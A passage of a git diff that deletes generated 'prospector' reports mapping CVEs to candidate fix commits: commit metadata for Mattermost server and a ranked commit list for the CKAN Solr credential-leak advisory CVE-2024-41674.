"id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27418", - "relevance": 2 - } - ] - }, - { - "commit_id": "7434b524afb935118bec506929612b3af67841c9", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720794799, - "hunks": 3, - "message": "[MM-56655] Remove deprecated Config.ProductSettings (#27375)", - "changed_files": [ - "server/public/model/config.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27375": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27375", - "relevance": 2 - } - ] - }, - { - "commit_id": "22604d45921dea97939c358a9d18878167a0fa2a", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720762496, - "hunks": 9, - "message": "[fix] ci container image scanning (#27631) Fixup on https://github.com/mattermost/mattermost/pull/27624 Exposing the tag variable to be used in the scanning step. Ticket: https://mattermost.atlassian.net/browse/CLD-8041 Signed-off-by: Akis Maziotis ", - "changed_files": [ - ".github/workflows/server-ci-artifacts.yml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27631": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27631", - "relevance": 2 - } - ] - }, - { - "commit_id": "6010ff55218e97c1d7c44c4f90a59d9f2320305f", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720530893, - "hunks": 2, - "message": "Remove dup stylelint depdendencies in webapp/channels (#27499)", - "changed_files": [ - "webapp/channels/package.json", - "webapp/package-lock.json" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27499": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27499", - "relevance": 2 - } - ] - }, - { - "commit_id": "d939c1bd464780d7be4912510e25f9791d3b3aae", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720457455, - "hunks": 7, - "message": "[MM-58856] Migrate tooltips of \"components/copy_button.tsx\" to WithTooltip (#27433)", - "changed_files": [ - "webapp/channels/src/components/copy_button.tsx" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27433": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27433", - "relevance": 2 - } - ] - }, - { - "commit_id": "35dda81e32b48d5317eb7b6aa6272b5d4b08d4a9", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720031195, - "hunks": 27, - "message": "Translations update from Mattermost Weblate (#27507) * Translated using Weblate (German) Currently translated at 100.0% (2510 of 2510 strings) Translation: Mattermost/server Translate-URL: https://translate.mattermost.com/projects/mattermost/server/de/ * Translated using Weblate (German) Currently translated at 100.0% (5775 of 5775 strings) Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/de/ * Translated using Weblate (Polish) Currently translated at 100.0% (2510 of 2510 strings) Translation: Mattermost/server Translate-URL: https://translate.mattermost.com/projects/mattermost/server/pl/ * Translated using Weblate (Polish) Currently translated at 100.0% (5775 of 5775 strings) Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/pl/ * Translated using Weblate (Dutch) Currently translated at 99.9% (5771 of 5775 strings) Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/nl/ * Translated using Weblate (Serbian) Currently translated at 10.5% (611 of 5775 strings) Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/sr/ * Translated using Weblate (Norwegian Bokm\u00c3\u00a5l) Currently translated at 6.3% (369 of 5775 strings) Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/nb_NO/ * Translated using Weblate (German) Currently translated at 100.0% (5801 of 5801 strings) Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/de/ --------- Co-authored-by: jprusch Co-authored-by: master7 Co-authored-by: Tom De Moor Co-authored-by: homerCOD Co-authored-by: Frank Paul Silye ", - "changed_files": [ - "server/i18n/de.json", - "server/i18n/pl.json", - "webapp/channels/src/i18n/de.json", - "webapp/channels/src/i18n/nb-NO.json", - "webapp/channels/src/i18n/nl.json", - "webapp/channels/src/i18n/pl.json", - "webapp/channels/src/i18n/sr.json" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27507": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "server/public/v0.1.5", - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27507", - "relevance": 2 - } - ] - }, - { - "commit_id": "5231f780b46090818a42a21c04cdf41dc072e7ec", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720013271, - "hunks": 1, - "message": "removed offending line that hid threads view on mobile (#27428) (#27528) Automatic Merge", - "changed_files": [ - "webapp/channels/src/components/threading/global_threads/global_threads.scss" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27428": "Automated cherry pick of #27428 #27485 Automated cherry pick of #27428 #27528", - "27528": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "v9.9.2", - "v9.9.2-rc1", - "v9.9.2-rc2", - "v9.9.3", - "v9.9.3-rc1" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27428, 27528", - "relevance": 2 - } - ] - }, - { - "commit_id": "1f9c9486b882f8d2f7424a821e27ac30bee36098", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1719925703, - "hunks": 3, - "message": "fix panic in migrations (#27494)", - "changed_files": [ - "server/channels/app/migrations.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27494": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "server/public/v0.1.5", - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27494", - "relevance": 2 - } - ] - }, - { - "commit_id": "6bfd309573e64e710b4b7175b84149303c517909", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1719838009, - "hunks": 3, - "message": "chore: update package metadata for API reference (#27462)", - "changed_files": [ - "api/package.json" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27462": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "server/public/v0.1.5", - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27462", - "relevance": 2 - } - ] - }, - { - "commit_id": "3b6608220b8105e0129eb596118ebdfafc3e49ec", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720831749, - "hunks": 7, - "message": "Make some changes to remove findDOMNode from React Bootstrap", - "changed_files": [ - "webapp/channels/src/plugins/channel_header_plug/channel_header_plug.tsx", - "webapp/platform/components/src/generic_modal/generic_modal.tsx" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [] - }, - { - "commit_id": "1ebad56255577a996cb852543baaaa3e6e3d06e9", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720821898, - "hunks": 2, - "message": "Switch ReactDOM.render to createRoot", - "changed_files": [ - "webapp/channels/src/entry.tsx" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [] - }, - { - "commit_id": "b9fc83b5038c1a4fe817aac8140e63ac9f3d3b13", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720820664, - "hunks": 88, - "message": "Disable legacy-peer-deps and manually override mismatched dependencies", - "changed_files": [ - "webapp/.npmrc", - "webapp/package-lock.json", - "webapp/package.json" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [] - }, - { - "commit_id": "92e960ae63b82131c509c69fe5d40be4c709a871", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720802579, - "hunks": 0, - "message": "Merge remote-tracking branch 'upstream/master' into MM-56077", - "changed_files": [], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [] - }, - { - "commit_id": "139e63a77a189e0217682e99628c931d4bc54a42", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720421551, - "hunks": 0, - "message": "Merge branch 'master' into MM-56073", - "changed_files": [], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [] - }, - { - "commit_id": "a1fd7bc1566e55a5a072b118ee8e7cfe90aeb630", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720202656, - "hunks": 0, - "message": "Merge branch 'master' into poc-actions-rpc", - "changed_files": [], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [] - }, - { - "commit_id": "4473e25d7a1486678826002ba4c0aa8cd35d0487", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720197391, - "hunks": 1, - "message": "fix config type", - "changed_files": [ - "webapp/platform/types/src/config.ts" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [] - }, - { - "commit_id": "c8d112111fa9034765337d237343b46bb056dece", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720196896, - "hunks": 1, - "message": "do not remove post message content for websocket events, needed for mentions", - "changed_files": [ - "server/channels/app/post.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [] - }, - { - "commit_id": "af663753a3b18bb6d63b863048d7a22f7413c5e5", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720038634, - "hunks": 4, - "message": "i18n", - "changed_files": [ - "server/i18n/en.json" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [] - }, - { - "commit_id": "193d8802038fc42eba007ec78657207ba28010f6", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720035277, - "hunks": 0, - "message": "Merge branch 'MM-56073' of github.com:BenCookie95/mattermost-server into MM-56073", - "changed_files": [], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [] - }, - { - "commit_id": "3a49edd6038985fdf3f521faeb66556938e6f5cc", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720017392, - "hunks": 0, - "message": "Merge branch 'master' into MM-56073", - "changed_files": [], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [] - }, - { - "commit_id": "cada18f5bac07705cce9845b1758e46cfe0a6ad2", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1719948144, - "hunks": 6, - "message": "Example of logging client performance events above threshold", - "changed_files": [ - "server/channels/app/metrics.go", - "server/public/model/config.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [] - }, - { - "commit_id": "7d2a99936cd77a63474b2171c299a42b878398ad", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1719896439, - "hunks": 1, - "message": "Updaetd user report API permission", - "changed_files": [ - "server/channels/api4/report.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [] - } - ], - "processing_statistics": { - "core": { - "retrieval of commit candidates": { - "execution time": [ - 0.07240202277898788 - ] - }, - "git": { - "git": { - "Git": { - "create_commits": { - "execution time": [ - 0.07216375321149826 - ] - } - } - } - }, - "candidates": 164, - "commit preprocessing": { - "execution time": [ - 0.303417032584548 - ] - }, - "candidates analysis": { - "execution time": [ - 4.63709269836545 - ] - }, - "save commits to backend": { - "execution time": [ - 0.038952555507421494 - ] - }, - "execution time": [ - 7.246814403682947 - ] - }, - "rules": { - "active": [ - 17 - ], - "matches": [ - 396 - ] - }, - "LLM": { - "repository_url": { - "execution time": [ - 1.651252444833517 - ] - }, - "commit_classification": { - "execution time": [ - 0.017525456845760345, - 0.01645040325820446, - 0.015178922563791275, - 0.015100793913006783, - 0.019747842103242874, - 1.275328889489174, - 0.017046356573700905, - 1.211672943085432, - 1.7592217586934566, - 0.017519433051347733 - ] - } - } - } -} \ No newline at end of file diff --git a/prospector/pipeline/reports/CVE-2024-41674_c20f61cc-bfe0-46b2-9ea8-514f2c20e33c.html b/prospector/pipeline/reports/CVE-2024-41674_c20f61cc-bfe0-46b2-9ea8-514f2c20e33c.html deleted file mode 100644 index c036e120a..000000000 --- a/prospector/pipeline/reports/CVE-2024-41674_c20f61cc-bfe0-46b2-9ea8-514f2c20e33c.html +++ /dev/null @@ -1,9552 +0,0 @@ - - - - - - - - - - - - - - - - Prospector Report - - - - -
    -
    -
    - - -

    Filters

    -

    - Use the slider to filter out lower relevance scores and the button to collapse or expand all the commits. -

    - -
    -
    - -
    -
    - -
    -
    - - - - -
    -

    Advisory Record

    - CVE-2024-41674
    -

    CKAN is an open-source data management system for powering data hubs and data portals. If there were connection issues with the Solr server, the internal Solr URL (potentially including credentials) could be leaked to package_search calls as part of the returned error message. This has been patched in CKAN 2.10.5 and 2.11.0.

    - - -
    Possible relevant files/methods
    -

    -

      - -
    • CKAN
    • - -
    • open-source
    • - -
    • package_search
    • - -
    • URL
    • - -
    -

    - - -
    Other relevant keywords
    -

    - -

  • call
  • - - -
  • ckan
  • - - -
  • connection
  • - - -
  • credential
  • - - -
  • datum
  • - - -
  • error
  • - - -
  • include
  • - - -
  • issue
  • - - -
  • leak
  • - - -
  • management
  • - - -
  • message
  • - - -
  • part
  • - - -
  • patch
  • - - -
  • portal
  • - - -
  • power
  • - - -
  • return
  • - - -
  • server
  • - - -
  • solr
  • - - -
  • source
  • - - -
  • system
  • - - -

    - -
    - - - -
    -
    -
    Execution Statistics
    - -
    -
    -
    • core
      • git
        • git
          • Git
            • create_commits
              • execution time = 0.01472 seconds
      • commit preprocessing
        • execution time = 0.6004 seconds
      • candidates analysis
        • execution time = 0.8201 seconds
      • save commits to backend
        • execution time = 1.263 seconds
      • execution time = 4.9 seconds
    • rules
      • active = 17 rules
      • matches = 96 matches
    • LLM
      • repository_url
        • execution time = 1.453 seconds
      • commit_classification
        • execution time is a list of numbers
          • average = 0.06723391003906727 seconds
          • deviation = 0.1267276186340999 seconds
          • median = 0.01646522618830204 seconds
          • count = 10
          • sum = 0.6723391003906727 seconds
    -
    -
    - -
    - -
    -
    -
    -
    -

    Prospector Report

    -
    - - -
    -
    - -
    - -
    -
    -
    -
    -
    - Merge commit from fork [2.10] Fix for Solr connection errors leaking details - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 100 -
    - -
    -
    -
    - - Tag: ckan-2.10.5 -
    -
    -
    -
    -
    - - - - COMMIT_IN_REFERENCE - - ADV_KEYWORDS_IN_MSG - - COMMIT_IS_SECURITY_RELEVANT - - -
    -
    -
    -
    - - - - -
    -
    -
    - f6b032cd7082d784938165bbd113557639002ca7 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      This commit is mentioned 2 times in the references.
      -
    • - -
    • -
      The commit message and the advisory description contain the following keywords: solr, leak, connection, error
      -
    • - -
    • -
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Merge commit from fork [2.10] Fix for Solr connection errors leaking details
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - ensure consistency by returning email addresses in lowercase from... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 44 -
    - -
    -
    -
    - - Tag: ckan-2.11.0 -
    -
    -
    -
    -
    - - - - CHANGES_RELEVANT_CODE - - ADV_KEYWORDS_IN_MSG - - COMMIT_IS_SECURITY_RELEVANT - - -
    -
    -
    -
    - - - - -
    -
    -
    - 5b73f29da75bda0a4426d1ff7ba39491892ba07b -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit modifies code containing relevant filename or methods: URL
      -
    • - -
    • -
      The commit message and the advisory description contain the following keywords: return
      -
    • - -
    • -
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      ensure consistency by returning email addresses in lowercase from the email_validator
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - ckan/logic/action/create.py - - ckan/logic/validators.py - - ckan/tests/logic/test_validators.py - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Fix resource proxy download proxy setting Don't pass a dict with... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 42 -
    - -
    -
    -
    - - Tag: ckan-2.10.5 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - COMMIT_HAS_TWINS - - COMMIT_IS_SECURITY_RELEVANT - - -
    -
    -
    -
    - - - - -
    -
    -
    - 50cb4433508cb63b6e13d1660da1bfe4caa80cfa -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: source, connection, error
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: source
      -
    • - -
    • -
      This commit has one or more twins.
      -
    • - -
    • -
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Fix resource proxy download proxy setting Don't pass a dict with None values if not set, otherwise we get an error from urllib3 ``` Max retries exceeded with url: http://maps.nlsc.gov.tw/S_Maps/wmts (Caused by ProxyError('Unable to connect to proxy', NameResolutionError("<urllib3.connection.HTTPConnection object at 0x7f3ea84c73a0>: Failed to resolve 'none' ([Errno -3] Temporary failure in name resolution)"))) ``` (cherry picked from commit c6afef0e16e7ed4bf5eee48e25b1f260459e374c)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - ckanext/resourceproxy/blueprint.py - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - feat: upgrade SQLAlchemy to v2 - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 12 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - CHANGES_RELEVANT_CODE - - ADV_KEYWORDS_IN_FILES - - -
    -
    -
    -
    - - - - -
    -
    -
    - 6c40a56477d3cd7a6b62d4bf53cf7cfe0aafb3e1 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit modifies code containing relevant filename or methods: package_search
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: source
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      feat: upgrade SQLAlchemy to v2
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - ckan/config/environment.py - - ckan/lib/dictization/__init__.py - - ckan/lib/dictization/model_dictize.py - - ckan/logic/__init__.py - - ckan/logic/action/get.py - - ckan/logic/action/update.py - - ckan/logic/validators.py - - ckan/model/__init__.py - - ckan/model/api_token.py - - ckan/model/dashboard.py - - ckan/model/follower.py - - ckan/model/group.py - - ckan/model/meta.py - - ckan/model/package.py - - ckan/model/resource_view.py - - ckan/model/tag.py - - ckan/model/types.py - - ckan/model/user.py - - ckan/types/logic/action_result.py - - ckan/types/model.py - - ckan/views/api.py - - ckanext/activity/logic/action.py - - ckanext/activity/logic/auth.py - - ckanext/activity/model/activity.py - - ckanext/datastore/backend/postgres.py - - ckanext/stats/stats.py - - requirements.in - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [i18n] Pull translations from transifex - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 12 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - CHANGES_RELEVANT_CODE - - ADV_KEYWORDS_IN_FILES - - -
    -
    -
    -
    - - - - -
    -
    -
    - c4e6b4e2ee645d30d4d18a228c5f90e213dd66c4 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit modifies code containing relevant filename or methods: URL, open-source
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: message
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [i18n] Pull translations from transifex
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - ckan/i18n/am/LC_MESSAGES/ckan.po - - ckan/i18n/ar/LC_MESSAGES/ckan.po - - ckan/i18n/bg/LC_MESSAGES/ckan.po - - ckan/i18n/bs/LC_MESSAGES/ckan.po - - ckan/i18n/ca/LC_MESSAGES/ckan.po - - ckan/i18n/cs_CZ/LC_MESSAGES/ckan.po - - ckan/i18n/da_DK/LC_MESSAGES/ckan.po - - ckan/i18n/de/LC_MESSAGES/ckan.po - - ckan/i18n/el/LC_MESSAGES/ckan.po - - ckan/i18n/en_AU/LC_MESSAGES/ckan.po - - ckan/i18n/en_GB/LC_MESSAGES/ckan.po - - ckan/i18n/es/LC_MESSAGES/ckan.po - - ckan/i18n/es_AR/LC_MESSAGES/ckan.po - - ckan/i18n/eu/LC_MESSAGES/ckan.po - - ckan/i18n/fa_IR/LC_MESSAGES/ckan.po - - ckan/i18n/fi/LC_MESSAGES/ckan.po - - ckan/i18n/fr/LC_MESSAGES/ckan.po - - ckan/i18n/gl/LC_MESSAGES/ckan.po - - ckan/i18n/gl_ES/LC_MESSAGES/ckan.po - - ckan/i18n/he/LC_MESSAGES/ckan.po - - ckan/i18n/hr/LC_MESSAGES/ckan.po - - ckan/i18n/hu/LC_MESSAGES/ckan.po - - ckan/i18n/id/LC_MESSAGES/ckan.po - - ckan/i18n/is/LC_MESSAGES/ckan.po - - ckan/i18n/it/LC_MESSAGES/ckan.po - - ckan/i18n/ja/LC_MESSAGES/ckan.po - - ckan/i18n/km/LC_MESSAGES/ckan.po - - ckan/i18n/ko_KR/LC_MESSAGES/ckan.po - - ckan/i18n/lt/LC_MESSAGES/ckan.po - - ckan/i18n/lv/LC_MESSAGES/ckan.po - - ckan/i18n/mk/LC_MESSAGES/ckan.po - - ckan/i18n/mn_MN/LC_MESSAGES/ckan.po - - ckan/i18n/my_MM/LC_MESSAGES/ckan.po - - ckan/i18n/nb_NO/LC_MESSAGES/ckan.po - - ckan/i18n/ne/LC_MESSAGES/ckan.po - - ckan/i18n/nl/LC_MESSAGES/ckan.po - - ckan/i18n/no/LC_MESSAGES/ckan.po - - ckan/i18n/pl/LC_MESSAGES/ckan.po - - ckan/i18n/pt_BR/LC_MESSAGES/ckan.po - - ckan/i18n/pt_PT/LC_MESSAGES/ckan.po - - ckan/i18n/ro/LC_MESSAGES/ckan.po - - ckan/i18n/ru/LC_MESSAGES/ckan.po - - ckan/i18n/sk/LC_MESSAGES/ckan.po - - ckan/i18n/sl/LC_MESSAGES/ckan.po - - ckan/i18n/sq/LC_MESSAGES/ckan.po - - ckan/i18n/sr/LC_MESSAGES/ckan.po - - ckan/i18n/sr_Latn/LC_MESSAGES/ckan.po - - ckan/i18n/sv/LC_MESSAGES/ckan.po - - ckan/i18n/th/LC_MESSAGES/ckan.po - - ckan/i18n/tr/LC_MESSAGES/ckan.po - - ckan/i18n/uk_UA/LC_MESSAGES/ckan.po - - ckan/i18n/vi/LC_MESSAGES/ckan.po - - ckan/i18n/zh_Hans_CN/LC_MESSAGES/ckan.po - - ckan/i18n/zh_Hant_TW/LC_MESSAGES/ckan.po - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [i18n] Add new strings from the pot file to po files - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 12 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - CHANGES_RELEVANT_CODE - - ADV_KEYWORDS_IN_FILES - - -
    -
    -
    -
    - - - - -
    -
    -
    - 6382ad97f98dbbbbfbaf30b7dab9520ace071131 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit modifies code containing relevant filename or methods: URL, open-source
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: message
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [i18n] Add new strings from the pot file to po files
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - ckan/i18n/am/LC_MESSAGES/ckan.po - - ckan/i18n/ar/LC_MESSAGES/ckan.po - - ckan/i18n/bg/LC_MESSAGES/ckan.po - - ckan/i18n/bs/LC_MESSAGES/ckan.po - - ckan/i18n/ca/LC_MESSAGES/ckan.po - - ckan/i18n/cs_CZ/LC_MESSAGES/ckan.po - - ckan/i18n/da_DK/LC_MESSAGES/ckan.po - - ckan/i18n/de/LC_MESSAGES/ckan.po - - ckan/i18n/el/LC_MESSAGES/ckan.po - - ckan/i18n/en_AU/LC_MESSAGES/ckan.po - - ckan/i18n/en_GB/LC_MESSAGES/ckan.po - - ckan/i18n/es/LC_MESSAGES/ckan.po - - ckan/i18n/es_AR/LC_MESSAGES/ckan.po - - ckan/i18n/eu/LC_MESSAGES/ckan.po - - ckan/i18n/fa_IR/LC_MESSAGES/ckan.po - - ckan/i18n/fi/LC_MESSAGES/ckan.po - - ckan/i18n/fr/LC_MESSAGES/ckan.po - - ckan/i18n/gl/LC_MESSAGES/ckan.po - - ckan/i18n/he/LC_MESSAGES/ckan.po - - ckan/i18n/hr/LC_MESSAGES/ckan.po - - ckan/i18n/hu/LC_MESSAGES/ckan.po - - ckan/i18n/id/LC_MESSAGES/ckan.po - - ckan/i18n/is/LC_MESSAGES/ckan.po - - ckan/i18n/it/LC_MESSAGES/ckan.po - - ckan/i18n/ja/LC_MESSAGES/ckan.po - - ckan/i18n/km/LC_MESSAGES/ckan.po - - ckan/i18n/ko_KR/LC_MESSAGES/ckan.po - - ckan/i18n/lt/LC_MESSAGES/ckan.po - - ckan/i18n/lv/LC_MESSAGES/ckan.po - - ckan/i18n/mk/LC_MESSAGES/ckan.po - - ckan/i18n/mn_MN/LC_MESSAGES/ckan.po - - ckan/i18n/my_MM/LC_MESSAGES/ckan.po - - ckan/i18n/nb_NO/LC_MESSAGES/ckan.po - - ckan/i18n/ne/LC_MESSAGES/ckan.po - - ckan/i18n/nl/LC_MESSAGES/ckan.po - - ckan/i18n/no/LC_MESSAGES/ckan.po - - ckan/i18n/pl/LC_MESSAGES/ckan.po - - ckan/i18n/pt_BR/LC_MESSAGES/ckan.po - - ckan/i18n/pt_PT/LC_MESSAGES/ckan.po - - ckan/i18n/ro/LC_MESSAGES/ckan.po - - ckan/i18n/ru/LC_MESSAGES/ckan.po - - ckan/i18n/sk/LC_MESSAGES/ckan.po - - ckan/i18n/sl/LC_MESSAGES/ckan.po - - ckan/i18n/sq/LC_MESSAGES/ckan.po - - ckan/i18n/sr/LC_MESSAGES/ckan.po - - ckan/i18n/sr_Latn/LC_MESSAGES/ckan.po - - ckan/i18n/sv/LC_MESSAGES/ckan.po - - ckan/i18n/th/LC_MESSAGES/ckan.po - - ckan/i18n/tl/LC_MESSAGES/ckan.po - - ckan/i18n/tr/LC_MESSAGES/ckan.po - - ckan/i18n/uk/LC_MESSAGES/ckan.po - - ckan/i18n/uk_UA/LC_MESSAGES/ckan.po - - ckan/i18n/vi/LC_MESSAGES/ckan.po - - ckan/i18n/zh_Hans_CN/LC_MESSAGES/ckan.po - - 